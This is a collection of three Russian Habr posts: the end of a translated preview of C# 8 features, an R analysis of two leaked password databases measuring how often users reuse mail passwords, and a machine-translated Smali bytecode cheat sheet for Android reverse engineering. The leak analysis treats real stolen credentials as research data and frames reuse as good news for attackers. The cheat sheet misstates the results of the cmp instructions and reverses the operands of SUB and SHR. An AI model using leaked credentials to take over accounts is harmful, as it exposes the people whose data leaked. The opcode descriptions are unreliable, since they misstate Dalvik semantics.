Все еще не решено, будет ли оператор диапазона включающим или исключающим, т.е., будет ли результирующий диапазон включать значение конец. Возможно, будут доступны оба синтаксиса.
**Примечание переводчика**Если будет принято решение оставить один вариант, то я бы предпочел тот, что в питоне, т.е.:
```
a[start:end] # значения от start до end-1
a[:end] # items от начала до end-1
```
Просто, чтобы было унифицировано с одним из самых используемых языков.
Generic Attributes
------------------
Поддержка дженериков в атрибутах позволит удобнее реализовать передачу типа как аргумента. На текущий момент, он может быть передан атрибутам, используя следующий синтаксис:
```
public class TypedAttribute : Attribute
{
public TypedAttribute(Type type)
{
// ...
}
}
```
С поддержкой дженериков, тип может быть передан как обобщенный аргумент:
```
public class TypedAttribute : Attribute
{
public TypedAttribute()
{
// ...
}
}
```
Помимо того, что данный синтаксис более приятен, это также позволило бы проверять соответствие типа аргумента атрибута:
```
public TypedAttribute(T value)
{
// ...
}
```
Default Literal in Deconstruction
---------------------------------
Чтобы присвоить значения по умолчанию всем членам кортежа в C# 7, необходимо было использовать следующий синтаксис:
```
(int x, int y) = (default, default);
```
С введением поддержки для литерала default, синтаксис аналогичного выражения может быть упрощен до:
```
(int x, int y) = default;
```
Caller Argument Expression
--------------------------
Начиная с C# 5, введены атрибуты CallerMemberName, CallerFilePath и CallerLineNumber) которые упростили работу с информацией о точке вызова для целей диагностики.
Атрибут CallerMemberName также оказался очень полезным для реализации интерфейса INotifyPropertyChanged:
**Примечание переводчика**Но до удобства [PropertyChanged.Fody](https://github.com/Fody/PropertyChanged) ему далеко.
```
class ViewModel : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
private void OnPropertyChanged([CallerMemberName] string propertyName = null)
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
private int property;
public int Property
{
get { return property; }
set
{
if (value != property)
{
property = value;
OnPropertyChanged();
}
}
}
}
```
C# 8 может дополнительно ввести поддержку похожего атрибута CallerArgumentExpression, который позволяет установить целевой аргумент в строковое представление выражения, которое передано как значение для другого аргумента в этом же вызове методе:
```
public Validate(int[] array, [CallerArgumentExpression("array")] string arrayExpression = null)
{
if (array == null)
{
throw new ArgumentNullException(nameof(array), $"{arrayExpression} was null.");
}
if (array.Length == 0)
{
throw new ArgumentException($"{arrayExpression} was empty.", nameof(array));
}
}
```
Так же, как и атрибуты информации о вызывающей стороне, компилятор будет устанавливать значение переменной на вызывающей стороне в откомпилированном коде.
Target-typed new Expression
---------------------------
При декларации локальных переменных, ключевое слово var уже используется для предотвращения повторений (потенциально длинных) названий типов в коде:
```
Dictionary dictionary = new Dictionary(); // без var
var dictionary = new Dictionary(); // с var
```
Аналогичный подход не может быть использован для членов класса (полей), поскольку они требуют, чтобы тип был явно определен:
```
class DictionaryWrapper
{
private Dictionary dictionary = new Dictionary();
// ...
}
```
Планируемое в C# 8, типизируемое целевым типом выражение new, даст альтернативный сокращенный синтаксис для таких случаев:
```
class DictionaryWrapper
{
private Dictionary dictionary = new();
// ...
}
```
Этот синтаксис, конечно же, не будет ограничен таким контекстом. Он сможет быть использован во всех случаях, когда тип может быть выведен компилятором.
**Крик души переводчика**Да сделайте уже аналог Type/typedef, который применим в гораздо большем количестве сценариев и забудьте про все эти мелкие синтаксические сахаринки, которые новички будут учить еще долго! А такой вот инициализатор не подойдет даже для случая, когда поле/переменная будут иметь интерфейсный тип.
Ordering of ref and partial Modifiers on Type Declarations
----------------------------------------------------------
C# в настоящий момент требует, чтобы ключевое слово partial было размещено непосредственно перед ключевыми словами struct или class.
При введении ключевого слова ref для аллоцируемых на стеке структур в C# 7.2, ограничения на слово partial остались в силе, что ведет к тому, что слово ref должно размещаться непосредственно перед ключевым словом struct, если перед ним нет partial и непосредственно перед partial, если последнее присутствуют.
Следовательно, валидны только два варианта синтаксиса:
```
public ref struct NonPartialStruct { }
public ref partial struct PartialStruct { }
```
В C# 8, эти ограничения планируется ослабить, чтобы следующий вариант также был валидным:
```
public partial ref struct PartialStruct { }
```
Заключение
----------
В C# 8 планируется много новых возможностей. Данный обзор рассказывает не обо всех из них.
Вероятно, мы еще довольно далеко от финального релиза C# 8.0, поскольку его дата еще не была объявлена. До этого вполне мы можем ожидать, что планы изменятся, не все возможности войдут в релиз. И даже те, что войдут в финальный релиз, могут быть изменены синтаксически и даже семантически.
Конечно, в язык могут быть добавлены и другие новые возможности языки, не описанные в статье. Поэтому рассматривайте информацию из данной статьи только как заинтересованный взгляд в потенциальное будущее языка.
Также рекомендуем прочитать статью [C# 7.1, 7.2 and 7.3 — New Features (Updated)](http://www.dotnetcurry.com/csharp/1437/csharp-7-1-7-2-7-3-new-features).
**Примечание переводчика**Как переводчик, позволю добавить своё впечатление о развитии C#. В свое время уже писал об этом в статье [C# — есть ли что-то лишнее?](https://habr.com/post/302076/) За прошедшее время, произошли некоторые изменения в ощущениях и понимании:
1. Насчет var попустило. Его использование не сильно мешает мне читать чужой код. Только в редких случаях. Значит, я слишком беспокоился.
2. Язык Go легко учится. Это позволяет легко войти. Но при этом приходится писать достаточно много бойлерплейт-кода. Особенно раздражает это в случаях, когда знаешь, что это легко обойти (теми же дженериками) на других языках.
3. Язык C# очень сложный и становится все сложнее. Поскольку я с ним почти с самого зарождения (еще с версии .Net Framework 1.1), то я нормально успеваю впитать новшества (разве что «человекопонятный» синтаксис LINQ так и не зашел – возможно потому, что знаю SQL, под который он неудачно пытался мимикрировать). При этом наблюдаю, как годами учат язык новички.
4. Так и не вводят какого-то аналога typedef, который бы снял необходимость во многих фичах сокращенного определения сложных контейнерных типов, позволил бы вводить алиасы для типов, использовать их в определениях членов класса (var работает только для локальных элементов). Вместо этого делают сокращенный new(), который применим в узком диапазоне сценариев (замечание про инициализацию переменной интерфейсного типа смотри в спойлере выше).
Языки программирования различаются по сложности, но в тех пределах, в которых их может понять человек. GO и C# находятся на разных полюсах этой сложности. От примитивизма до приближения к границе того, что можно выучить новичку в разумные сроки. В перспективе это грозит сообществу C# тем, что в него будет малый приток свежих сил – это тревожная тенденция с моей точки зрения.
Как это решить? За каждым языком тянется хвост обеспечения совместимости. Именно он не дает возможности удалять уже введенные фичи. Но у C# есть хорошая база – Common Language Infrastructure (CLI). CLI дает возможность написать новый язык с чистого листа, оставив при этом возможность работы со старым кодом, который еще долго может оставаться в рабочем состоянии. В качестве ближайшего аналога можно рассмотреть ситуацию с Java/Kotlin. Возможно, Майкрософт пойдет таким путем?
Также для постепенного выпиливания устаревших возможностей можно использовать указание версии языка (упомянутое в разделе о Nullable Reference Types). Такой подход был бы более эволюционным, но и очень продолжительным. | https://habr.com/ru/post/413065/ | null | ru | null |
# Чёрная археология датамайнинга: насколько опасны «сливы» больших данных
В 2014 году в сеть утекла большая, на 6 млн. записей, база паролей различных почтовых сервисов. Давайте посмотрим, насколько эти пароли актуальны сейчас, в 2015 году.
Для этого мы сравним эти почтовые пароли с другой большой базой, слив которой был не менее масштабным – но гораздо более незаметным для IT-сообщества. В **мае 2015 года** в открытый доступ попала база всех личных данных (логины, пароли, мейлы, информация из профиля) с сайта Спрашивай.ру. Судя по всему, пароли хранились в базе в открытом виде. Все они были актуальны на момент слива базы.
Немного статистики:
| | |
| --- | --- |
| Размер «почтовой» базы | 6034544 |
| Размер базы сайта | 3432650 |
| Совпадение логинов | 132093 |
| Совпадение пар логин-пароль | 77387 |
Мы видим, что на отдельно взятом сайте в одном случае из 26 мы найдём искомый логин в нашей слитой базе. При этом, с вероятностью 60 процентов мы сможем подорбрать к нему верный пароль.
То есть, пароль на сайте, и на почте, с котрой производится регистрация на этом же сайте – совпадает в 60 процентах. Хороший результат для хакера!
Теперь проверим, насколько эти совпадающие пароли уникальны. Нам известен топ почтовых паролей. Давайте найдём, сколько паролей с сайта попадают в этот известный нам топ. Из 77 тысяч попадают в топ (то есть, заведомо ненадёжные)
| | |
| --- | --- |
| Топ-10 | 9652 |
| Топ-100 | 10535 |
| Топ-1000 | 11704 |
То есть, только одна седьмая часть паролей являются ненадёжными, про остальные пароли – пользователи уверены в их безопасности. Это, напоминаю, май 2015 года – с момента слива почтовой базы прошло 9 месяцев.
Выводы: судя по всему, более половины пользователей используют при регистрации на различных сайтах свой почтовый пароль, причём в случае компрометации его – особо не утруждают себя его заменой. Вероятность встретить на отдельно взятом сайте слитый логин примерно 1/25, и в половине случаев пароль при этом будет совпадать.
**И наиболее часто задаваемый вопрос:** извините, нет – поделиться паролями не могу.
Во-перых, это было бы неэтично с моей стороны. Во-вторых, если вы не можете найти эти базы за полчаса в открытом доступе – может, вам оно просто не надо?
**R-скрипт поиска совпадений**
```
## Загрузка данных
DATA_1 <- readRDS( file = "DATA_MAIL.rds" )
DATA_2 <- readRDS( file = "DATA_SITE.rds" )
################################################
# 6034544
nrow(DATA_1)
# 3432650
nrow(DATA_2)
################################################
# Совпадение чистых логинов: 132093
length(
intersect(DATA_1[,1],DATA_2[,1])
)
# Совпадение пар логин-пароль: 77387
length(
intersect(
paste( DATA_1[,1], DATA_1[,3], sep = "|" ),
paste( DATA_2[,1], DATA_2[,3], sep = "|" )
)
)
#################################################
# Построим пересечение
VECTOR_I <- intersect(
paste( DATA_1[,1], DATA_1[,3], sep = "||" ),
paste( DATA_2[,1], DATA_2[,3], sep = "||" )
)
VECTOR_I <- strsplit(VECTOR_I, "||", fixed=TRUE)
DATA_I <- matrix(unlist(VECTOR_I), ncol=2, byrow=TRUE)
DATA_I <- as.data.frame(DATA_I)
colnames(DATA_I) <- c("login","passwd")
#################################################
# Проверим, сколько паролей из пересечения попадают в старый топ-N
PASS_SUM <- readRDS( file = "PassSum.rds" )
PASS_10 <- PASS_SUM[1:10,]
PASS_100 <- PASS_SUM[1:100,]
PASS_1000 <- PASS_SUM[1:1000,]
# 9652
length(
which(
DATA_I$passwd %in% PASS_10$passwd
)
)
# 10535
length(
which(
DATA_I$passwd %in% PASS_100$passwd
)
)
# 11704
length(
which(
DATA_I$passwd %in% PASS_1000$passwd
)
)
```
**Предыдущие выпуски «Черной археологии датамайнинга»**
[Черная археология дата майнинга: анализ данных](http://habrahabr.ru/post/260747/)
[Что может быть эффективнее атаки по словарю?](http://habrahabr.ru/post/261331/)
**В следующем выпуске:** ищем ботов, определяем «случайные» пароли, исследуем статистические распределения. Stay tuned! | https://habr.com/ru/post/262305/ | null | ru | null |
# Шпаргалка по Smali на русском
Русская шпаргалка по Smali
==========================
Приветствую, любители реверс-инжинирить Android. Перед вами шпаргалка по Smali — аналогу ассемблера для Android-приложений.
Изначальный текст на русском взят [отсюда](https://gist.github.com/digitalhitler/d372d2dc30826b0dd86f59e70041d8dd). Там текст появился из машинного перевода [официальной документации](https://github.com/JesusFreke/smali/wiki/).
В итоге, оформил сухой текст + поправил небольшие опечатки и корявости перевода. По поводу замечаний и предложений можете писать либо [мне в ЛС](http://t.me/lionzxy), либо оформлять PR на [Gist](https://gist.github.com/LionZXY/431ce543413c91b842dece515c467e85).
Общая информация
----------------
### Виды(Types)
Байт-код Dalvik имеет два основных класса типов: примитивные типы и ссылочные типы. Типы ссылок — это объекты и массивы, все остальное является примитивным.
Примитивы представлены одной буквой:
```
V - Void - может использоваться только для типов возврата
Z - Boolean (логический)
B - Byte (байт)
S - Short (короткий)
C - Char
I - Integer (Целое число)
J - Long (64 bits) (Длинный)
F - Float (плавающий)
D - Double (64 bits) (Двойной )
```
Объекты принимают форму `Lpackage/name/ObjectName;` — где ведущий `L` указывает, что это тип объекта, `package/name/` — это пакет, в котором находится объект, `ObjectName` — это имя объекта и `;` обозначает конец имени объекта.
Это эквивалентно имени `package.name.ObjectName` в java. Или, для более конкретного примера, `Ljava/lang/String;` эквивалентно `java.lang.String`
Массивы принимают форму `[I` — это массив целых чисел с одним измерением. т.е. `int[]` в Java. Для массивов с несколькими измерениями вы просто добавляете больше `[` символов. `[[I = int[][]`, `[[[I = int[][][]` и т.д. (Примечание: максимальное количество измерений, которое вы можете иметь, составляет 255).
Вы также можете иметь массивы объектов, `[Ljava/lang/String;` будет массив строк.
### Методы(Methods)
Методы всегда указываются в очень подробной форме, которая включает тип, содержащий метод, имя метода, типы параметров и тип возвращаемого значения. Вся эта информация необходима, чтобы виртуальная машина могла находить правильный метод и иметь возможность выполнять статический анализ на байт-коде
Они принимают форму `Lpackage/name/ObjectName;->MethodName(III)Z`
В этом примере вы должны распознать `Lpackage/name/ObjectName;` как тип. `MethodName` — это имя метода. `(III)Z` является сигнатурой метода. `III` — параметры (в данном случае 3 целых числа), а `Z` — тип возврата (bool).
Параметры метода перечислены один за другим, без разделителей между ними.
Вот более сложный пример:
```
Lpackage/name/ObjectName;->MethodName(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
```
В Java, это было бы
```
String MethodName(int, int[][], int, String, Object[])
```
### Поля(Fields)
Поля также всегда указывается в многословной форме, которая включает тип, содержащее поле, имя поля и тип поля. Опять же, это позволяет виртуальной машине находить правильное поле, а также выполнять статический анализ на байт-коде.
Они принимают форму `Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;`
Это должно быть довольно очевидно — это пакет и имя объекта, имя поля и тип поля соответственно
Регистры (Register)
-------------------
### Вступление
В байт-коделе dalvik регистры всегда *32* битные и могут содержать любой тип значения. 2 регистра используются для хранения 64-битных типов (длинного — Long и числа с плавающей точкой — Double).
### Указание количества регистров в методе
Существует два способа указать, сколько регистров доступно в методе:
Директива `.registers` указует общее количество регистров в методе, в то время как альтернативное `.locals` директива определяет число регистров без параметров в методе. Общее количество регистров будет также включать в себя, однако многие регистры необходимы для хранения параметров метода.
### Как параметры метода передаются в метод:
Когда метод вызывается, параметры метода помещаются в последние `n` регистров. Если метод имеет *2* аргумента и 5 регистров (v0-v4), аргументы будут помещены в последние *2* регистра — `v3` и `v4`.
Первым параметром для нестатических методов (`non-static methods`) всегда является объект, на который вызывается метод (`this` объект)
Например, допустим, вы пишете нестатический метод `LMyObject;->callMe(II)V`. Этот метод имеет 2 целочисленных (`integer`) параметра, но также имеет неявный `LMyObject;` параметр перед обоими целыми параметрами, поэтому для метода существует всего 3 аргумента.
Предположим, вы указали, что в методе (v0-v4) есть 5 регистров, либо с директивой `.registers 5`, либо с директивой `.locals 2` (т.е. 2 local registers + 3 parameter registers). Когда метод вызывается, объект, к которому выполняется метод (т.е. `this` ссылка), будет в v2, первый целочисленный (`integer`) параметр будет в v3, а второй целочисленный (`integer`) параметр будет в v4.
Для статических методов (`static methods`) это одно и то же, за исключением того, что неявный этот аргумент.
### Регистрация имен (Register names)
Существует две схемы именования для регистров — обычная схема именования `v#` и схема именования `p#` для регистров параметров. Первый регистр в схеме именования `p#` является первым регистром параметров в методе.
Итак, вернемся к предыдущему примеру метода с 3-мя аргументами и 5-ю полными регистрами. В следующей таблице показано обычное имя `v#` для каждого регистра, за которым следует имя `p#` для регистров параметров (`parameter registers`)
| v# | p# | |
| --- | --- | --- |
| `v0` | | Первый локальный регистр |
| `v1` | | Второй локальный регистр |
| `v2` | `p0` | Первый регистр параметров |
| `v3` | `p1` | Второй регистр параметров |
| `v4` | `p2` | Третий регистр параметров |
Вы можете ссылаться на регистры параметров по имени — это не имеет никакого значения.
### Введения регистров параметров (`parameter registers`)
`p#` схема именования была введена в качестве практического вопроса
Скажем, у вас есть существующий метод с несколькими параметрами, и вы добавляете некоторый код в этот метод, и вы обнаружите, что вам нужен дополнительный регистр. Вы думаете: «Ничего страшного, я просто увеличу количество регистров, указанных в директиве `.registers`!».
К сожалению, это не так просто. Имейте в виду, что параметры метода хранятся в последних регистрах в методе. Если вы увеличиваете количество регистров — вы меняете, какие регистры вводят аргументы метода. Поэтому вам придется изменить директиву `.registers` и перенумеровать каждый регистр параметров.
Но если схема именования `p#` использовалась для ссылки на регистры параметров во всем методе, вы можете легко изменить количество регистров в методе, не беспокоясь о перонумеровании любых существующих регистров.
Long/Double значения
--------------------
Как упоминалось ранее, long и double примитивы (`J` и `D` соответственно) имеют 64-битные значения и требуют 2 регистра. Это важно иметь в виду, когда вы ссылаетесь на аргументы метода. Например, предположим, что у вас есть (нестатический — `non-static`) метод `LMyObject;->MyMethod(IJZ)V`. Параметрами метода являются `LMyObject;,int,long,bool`. Таким образом, для всех его параметров потребуется 5 регистров:
```
p0 this
p1 I
p2, p3 J
p4 Z
```
Кроме того, когда вы вызываете метод позже, вам нужно указать оба регистра для любых аргументов с двойным расширением в списке регистров для инструкции типа invoke.
Array (массивы)
---------------
#### `array-length vA, vB`
* `A`: Регистр назначения (4 бита)
* `B`: Массив reference-bearing регистр (4 бит)
Сохраняет длину (количество записей) указанного массива `vB` в `vA`
#### `fill-array-data vA+, :target`
* `A`: Регистрация пары (pair), содержащей ссылку на массив
* `B`: Целевая метка, определяющая таблицу данных массива
Заполняет заданный массив `vA+` указанными данными в цели (`target`). Ссылка должна быть в массиве примитивов, и таблица данных должна соответствовать ей по типу и размеру. Ширина массива определяется в таблице.
Регистровые пары занимают `vX` и `vX+1`. например, `v1`, `v2`.
Пример таблицы данных:
```
:target
.array-data 0x2
0x01 0x02
0x03 0x04
.end array-data
```
#### `new-array vA+, vB, Lclass;->type`
* `A`: Регистр назначения (8 бит)
* `B`: Регистр размеров
* `C`: Ссылка на тип
Создает новый массив указанного типа и размера. Тип должен быть типом массива.
#### `filled-new-array { vA [ vB, v.., vX ]}, Lclass;->type`
* `vA-vX`: Регистры аргументов (по 4 бита)
* `B`: Ссылка на тип
Создает новый массив указанного типа и размера. Тип должен быть типом массива. Ссылка на вновь сгенерированный массив может быть получена командой `move-result-object`, непосредственно после команды `fill-new-array`.
#### `filled-new-array/range { vA .. vX }, Lclass;->type`
* `vA .. vX`: Диапазон регистров, содержащих параметры массива (по 4 бита)
* `B`: Ссылка на тип (16 бит)
Создает новый массив указанного типа. Тип должен быть типом массива. Ссылка на вновь созданный массив может быть получена командой `move-result-object`, непосредственно после команды `fill-new-array/range`.
Array Accessors (приемники массивов)
------------------------------------
Легенда:
* `A(aget)`: Регистр назначения
* `A(aput)`: Исходный регистр
* `B`: Ссылка на массив
* `C`: Индекс в массиве
`aget vA, vB, vC`
Получает целое (`integer`) значение с индексом `vC` из массива, на который ссылается `vB`, и сохраняет в `vA`
```
aput vA, vB, vC
```
Сохраняет целое (`integer`) значение от `vA` в массиве, на который ссылается `vB` на индекс `vC`
Также есть другие `aget/aput`, путем добавления окончания меняется тип значения:
* boolean
* byte
* char
* object
* short
* wide
Например: `aget-objec` (Получает объект(`object`))
Сравнения
---------
Легенда:
* `A`: Регистр назначения
* `B`: Первый регистр источника
* `C`: Второй регистр источника
* `B+`: Первая пара регистров источника (pair)
* `C+`: Вторая пара регистров источника (pair)
#### `cmp-long vA, vB+, vC+`
Сравнивает длинные (long) значения в исходных регистрах, сохраняя 0
* Если `vB+ == vC+` то сохраняет 1;
* Если `vB+ < vC+` или `vB+ > vC+` то сохраняет -1.
#### `cmpg-double vA, vB+, vC+`
Сравнивает числа с плавающей точкой (double) значения в исходных регистрах, сохраняя 0
* Если `vB+ == vC+` то сохраняет 1;
* Если `vB+ < vC+` или `vB+ > vC+` то сохраняет -1.
* Если `vB+` или `vC+` не являются числом, возвращается 1.
#### `cmpg-float vA, vB, vC`
Сравнивает значения с плавающей(float) запятой в исходных регистрах, сохраняя 0;
* Если `vB == vC` то сохраняет 1;
* Если `vB < vC` или `vB > vC`то сохраняет -1.
* Если `vB` или `vC` не являются числом, возвращается 1.
#### `cmpl-double vA, vB+, vC+`
Сравнивает double значения в исходных регистрах, сохраняя 0;
* Если `vB+ == vC+` то сохраняет 1;
* Если `vB+ < vC+` или `vB+ > vC+` то сохраняет -1.
* Если либо `vB+`, либо `vC+` не являются числом, возвращается -1.
#### `cmpl-float vA, vB, vC` — выполняет указанное сравнение с плавающей(float) запятой, сохраняя 0;
* Если `vB == vC` то сохраняет 1;
* Если `vB < vC` или `vB > vC` то сохраняет -1.
* Если `vB` или `vC` не являются числом, возвращается -1.
Константы
---------
#### `const vAA, #+BBBBBBBB`
* `A`: Регистр назначения (8 бит)
* `B`: 32-разрядное постоянное целое число со знаком
Переместит заданное постоянное целочисленное (`integer`) значение в указанный регистр `vAA`.
#### `const/16 vAA, #+BBBB`
* `A`: Регистр назначения (8 бит)
* `B`: Целое число(integer) (16 бит)
Заносит `#+BBBB` в регистр `vAA`
#### `const/4 vA, #+B`
* `A`: Регистр назначения (4 бит)
* `B`: Целое число (4 бит)
Помещает заданную 4-битную целую константу в регистр назначения `vA`.
#### `const/high16 vAA, #+BBBB`
* `A`: Регистр назначения (8 бит)
* `B`: Целое число (16 бит)
Поместит 16-битную константу в самые верхние биты регистра `vAA`. Используется для инициализации значений `float`.
#### `const-class vAA, Lclass`
* `A`: Регистр назначения (8 бит)
* `class`: Ссылка на класс
Переместит ссылку на класс (`class`), указанный в регистре назначения `vAA`. В случае, когда указанный тип является примитивным, это будет хранить ссылку на особый класс примитивного типа.
#### `const-string vAA, "BBBB"`
* `A`: Регистр назначения (8 бит)
* `B`: Строковое значение (string)
Переместит ссылку на строку, указанную в регистре назначения vAA
#### `const-string/jumbo vAA, "BBBBBBBB"`
* `A`: Регистр назначения (8 бит)
* `B`: Строковое значение (string)
Переместит ссылку на строку, указанную в регистре назначения `vAA`
`jumbo` — обозначает, что значение будет "большим"
### Еще примеры:
`const-wide/16 vA+, #+BBBB`
`const-wide/high16 vA+, #+BBBB`
`const-wide vA+, #+BBBBBBBBBBBBBBBB`
Go To
-----
*goto* — Безусловный переход к :target.
* `goto :target`
* `goto/16 :target #16bit`
* `goto/32 :target #32bit`
Примечание: `goto` буквально использует ± смещения от текущей команды. [APKTool](https://ibotpeaches.github.io/Apktool/) преобразует их в метки для удобства чтения. Если внутри кода, для смещения требуется 16-битное значение, следует использовать `goto/16`, или для 32-битного значение, следует использовать `goto/32`. Почти невозможно определить, требуется ли `goto/16` или `goto/32` при добавлении новой команды (если не знаешь наверняка). Если вы точно не знаете какой бит, `goto/16` может заменить любой goto, а `goto/32` может заменить любой `goto/16` или `goto`.
Только замена не может производиться на оборот: goto не может заменить goto/16, а он в свою очередь не может заменить goto/32.
Условия
-------
*if* — Если выполняется условие, происходит переход по метке
Легенда:
* `A`: Первый регистр для проверки (integer)
* `B`: Второй регистр для проверки (integer)
* `target`: Целевая метка
Примечание: `!=` — неравно
### Примеры:
| Постфикс | Команда | Эквивалентное условие |
| --- | --- | --- |
| eq | `if-eq vA, vB, :target` | vA == vB |
| eqz | `if-eqz vA, :target` | vA == 0 |
| ge | `if-ge vA, vB, :target` | vA >= vB |
| gez | `if-gez vA, :target` | vA >= 0 |
| gt | `if-gt vA, vB, :target` | vA > vB |
| gtz | `if-gtz vA, :target` | vA > 0 |
| le | `if-le vA, vB, :target` | vA <= vB |
| lez | `if-lez vA, :target` | vA <= 0 |
| lt | `if-lt vA, vB, :target` | vA < vB |
| ltz | `if-ltz vA, :target` | vA < 0 |
| ne | `if-ne vA, vB, :target` | vA != vB |
| nez | `if-nez vA, :target` | vA != 0 |
Invoke
------
Легенда:
* `vA-vX`: Аргументы, передаваемые методу
* `class`: Имя класса, содержащего метод
* `method`: Имя метода для вызова
* `R`: Тип возврата.
Вызывает нестатический (`non-static`) direct метод (то есть метод экземпляра, который по своей природе не переопределяется, а именно либо метод `private instance`, либо конструктор):
```
invoke-direct { vA, v.., vX }, Lclass;->method()R
```
Вызывает метод интерфейса (`interface method`) (то есть объект, чей конкретный класс неизвестен, используя метод, который ссылается на интерфейс):
```
invoke-interface { vA, v.., vX }, Lclass;->method()R
```
Вызывает статический метод (`static method`) (который всегда считается прямым методом):
```
invoke-static { vA, v.., vX }, Lclass;->method()R
```
Вызывает виртуальный метод (`virtual method`) непосредственного родительского класса:
```
invoke-super { vA, v.., vX }, Lclass;->method()R
```
Вызывает виртуальный метод (`virtual method`) (метод, который не является статическим или окончательным, и не является конструктором):
```
invoke-virtual { vA, v.., vX }, Lclass;->method()R
```
Примечание:
Если метод возвращает значение (`R` не является «`V`» для Void), он должен быть зафиксирован в следующей строке одним из операторов `move-result` или он будет потерян.
Так-же можно не перечислять все аргументы `vA-vX`, а сделать диапазон аргументов (Range of arguments) путем добавления окончание `/range`. Например:
```
invoke-direct/range { vA .. vX }, Lclass;->method()R
```
И так можно делать с любым выше перечисленным invoke:
* `invoke-direct { v1, v2, v3 }` тоже самое что и `invoke-direct/range { v1 .. v3 }`
* `invoke-direct { v0 }` тоже самое что и `invoke-direct/range { v0 .. v0 }`
Часто приводит к ошибкам использование `invoke-virtual{ vX }` в место `invoke-virtual/range{ vX .. vX }` в методах с большим количеством локальных регистров (v1, v2, v22)
Прочее
------
#### `check-cast vAA, Lclass`
* `A`: Референтный регистр (8 bits)
* `B`: Ссылка на тип (16 bits)
Проверяет, может ли ссылка на объект в `vAA` быть передана экземпляру типа, на который ссылается класс.
Выдает `ClassCastException`, если это невозможно, продолжает выполнение иначе.
#### `instance-of vA, vB, Lclass`
* `A`: Регистр назначения (4 bits)
* `B`: Референтный регистр (4 bits)
* `C`: Ссылка на класс (16 bits)
#### `new-instance vAA, Lclass`
* `A`: Регистр назначения (8 bits)
* `B`: Ссылка на тип
Создает объект класса типа и помещает ссылку на вновь созданный экземпляр в `vAA`.
Тип должен относиться к классу `non-array`.
#### `nop`
Пустая команда/Нет операции
#### `throw vAA`
Выбрасывает указанное исключение. Ссылка на объект (object) исключений находится в `vAA`.
* `A`: Exception-bearing register (8 bits)
Move
----
Легенда:
* `A`: Регистр назначения (4, 8, 16 bits)
* `B`: Исходный регистр (4, 16 bits)
Прим: *A: x bits. B: x bits не является частью кода. Добавил только для обозначения бит в регистрах*
#### `move vA, vB`
A: 4 bits. B: 4 bits
Перемещает содержимого одного регистра не-объекта (non-object) к другому.
#### `move/16 vAAAA, vBBBB`
A: 16 bits. B: 16 bits
Делает тоже самое, что и `move`. Только исходный регистр и регистр назначения 16 bits
#### `move/from16 vAA, vBBBB`
A: 8 bits. B: 16 bits
Делает тоже самое, что и `move/16`. Только регистр назначения 8 bits
#### `move-exception vAA`
A: 8 bits
Сохраняет только что пойманное исключение в `vAA`. Это должна быть первая инструкция любого обработчика исключений, чье исключение исключений не должно игнорироваться, и эта инструкция может когда-либо возникать только в качестве первой инструкции обработчика исключений. P.S: без тавтологии никуда)
#### `move-object vA, vB`
A: 4 bits. B: 4 bits
Перемещает содержимое одного объекта, несущего регистра в другой.
#### `move-object/16 vAAAA, vBBBB`
A: 16 bits. B: 16 bits
Делает тоже самое, что и `move-object`. Только исходный регистр и регистр назначения 16 bits
#### `move-object/from16 vAA, vBBBB`
A: 8 bits. B: 16 bits
Делает тоже самое, что и `move-object/from16`. Только регистр назначения 8 bits
#### `move-result vAA`
A: 8 bits.
Переносит результат одиночного слова не объекта (non-object) из самого последнего типа `invoke` в `vAA`. Это должно быть сделано как инструкция сразу после вида `invoke`, результат которого (однословный, не объект) не должен игнорироваться.
#### `move-result-object vAA`
A: 8 bits.
Переносит результат объекта из последнего вида `invoke` в `vAA`. Это должно выполняться как инструкция сразу после типа `invoke`-типа или `fill-new-array`, чей (объект) результат не должен игнорироваться.
### Остальное кратко:
* `move-result-wide vA+` — A: 8 bits
* `move-wide vA+, vB+` — A: 4 bits. B: 16 bits
* `move-wide/16 vA+, vB+` — A: 16 bits. B: 16 bits
* `move-wide/from16 vA+, vBBBB` — A: 8 bits. B: 16 bits
Операции
--------
### Оператор `ADD`
Cкладывает значения по обе стороны от оператора
#### `add-double vA+, vB+, vC+`
* `A`: Пара регистров назначения (8 бит)
* `B`: Пара регистров источника 1 (8 бит)
* `C`: Пара регистров источника 2 (8 бит)
Вычисляет vB+ + vC+ и сохраняет результат в vA+
#### `add-double/2addr vA+, vB+`
* `A`: Пара регистров источника 1 / регистр назначения (8 бит)
* `B`: Пара регистров источника 2 (8 бит)
Вычисляет vA + vB и сохраните результат в vA+
#### `add-float vA, vB, vC`
* `A`: Регистр назначения (4 бит)
* `B`: Регистр источника 1 (4 бит)
* `C`: Регистр источника 2 (4 бит)
Вычисляет vB + vC и сохраняет результат в vA
#### `add-float/2addr vA, vB`
* `A`: регистр источника 1 / регистр назначения (4 бит)
* `B`: регистр источника 2 (4 бит)
Вычисляет vA + vB и сохраняет результат в vA
#### `add-int vA, vB, vC`
* `A`: регистр назначения (4 бит)
* `B`: регистр источника 1 (4 бит)
* `C`: регистр источника 2 (4 бит)
Вычисляет vB + vC и сохраняет результат в vA
#### `add-int/lit8 vA, vB, 0xC`
* `A`: регистр назначения (8 бит)
* `B`: регистр источника (8 бит)
* `C`: подписанное постоянное значение константы (8 бит)
Вычисляет vB + 0xC и сохраняет результат в vA
#### `add-int/lit16 vA, vB, 0xC`
* `A`: регистр назначения (4 бита)
* `B`: регистр источника (4 бит)
* `C`: подписанное постоянное значение константы (16 бит)
Вычисляет vB + 0xC и сохраняет результат в vA
#### `add-int/2addr vA, vB`
* `A`: регистр источника 1 / регистр назначения (4 бит)
* `B`: регистр источника 2 (4 бит)
Вычисляет vA + vB и сохраняет результат в vA
### Оператор AND
Бинарный оператор копирует бит в результат, если он существует в обоих операндах.
### Оператор DIV
Делит левый операнд на правый операнд
### Оператор MUL
Умножает значения по обе стороны от оператора
### Оператор OR
Копирует бит, если он существует в любом из операндов.
### Оператор REM
Делит левый операнд на правый операнд и возвращает остаток
### Оператор SHL
Значение левых операндов перемещается влево на количество бит, заданных правым операндом.
### Оператор SHR
Значение правых операндов перемещается вправо на количество бит, заданных левых операндом.
### Оператор SUB
Вычитает из правого операнда левый операнд
### Оператор USHR
### Оператор XOR
копирует бит, если он установлен в одном операнде, но не в обоих.
Return
------
